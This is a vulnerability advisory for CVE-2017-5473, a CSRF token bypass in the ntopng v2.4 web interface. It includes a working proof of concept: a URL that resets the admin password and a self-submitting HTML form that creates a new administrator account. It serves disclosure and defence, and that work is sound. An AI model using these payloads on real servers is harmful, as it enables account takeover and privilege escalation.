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NTOPNG Web Interface v2.4 CSRF Token Bypass



[+]#####################################################################################
[+] Credits / Discovery: John Page AKA Hyp3rlinX	
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/NTOPNG-CSRF-TOKEN-BYPASS.txt
[+] ISR: ApparitionSEC
[+]#####################################################################################



Vendor:
============
www.ntop.org


Product:
====================
ntopng Web Interface
v2.4.160627 

ntopng is the next generation version of the original ntop, a network traffic probe that shows the network usage, similar
to what the popular top Unix command does. ntopng is based on libpcap and it has been written in a portable way in order to
virtually run on every Unix platform, MacOSX and on Windows as well.


Vulnerability Type:
==================
CSRF Token Bypass 



CVE Reference:
================
CVE-2017-5473



Security Issue:
=================
By simply omitting the CSRF token or supplying arbitrary token values will bypass CSRF protection when making HTTP requests,
to the ntopng web interface. Allowing remote attackers the rights to make HTTP requests on an authenticated users behalf, if
the user clicks an malicious link or visits an attacker webpage etc.


Exploit/POC:
============

1) Change admin password 
http://VICTIM-SERVER:3000/lua/admin/password_reset.lua?csrf=NOT-EVEN-CHECKED&username=admin&new_password=xyz123&confirm_new_password=xyz123


2) Add arbitrary 

<form action="http://VICTIM-SERVER:3000/lua/admin/add_user.lua?csrf=NOT-EVEN-CHECKED"; method="GET">
<input type="hidden" name="username"  value="hyp3rlinx">
<input type="hidden" name="full_name"  value="TheApparitioN">
<input type="hidden" name="password"  value="abc123">
<input type="hidden" name="confirm_password"  value="abc123">
<input type="hidden" name="host_role"  value="administrator">
<input type="hidden" name="allowed_networks"  value="0.0.0.0/,::/">
<input type="hidden" name="allowed_interface"  value="HTTP/1.1">
<script>document.forms[0].submit()</script>
</form>



Disclosure Timeline:
=====================
Vendor Notification: January 11, 2017
Vendor acknowledgement: January 12, 2017
Vendor Fixed Issue
January 20, 2017 : Public Disclosure



Network Access:
===============
Remote


Impact:
======================
Information Disclosure
Privilege Escalation



Severity:
===========
High



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere.  All content (c) HYP3RLINX - Apparition

Hyp3rlinX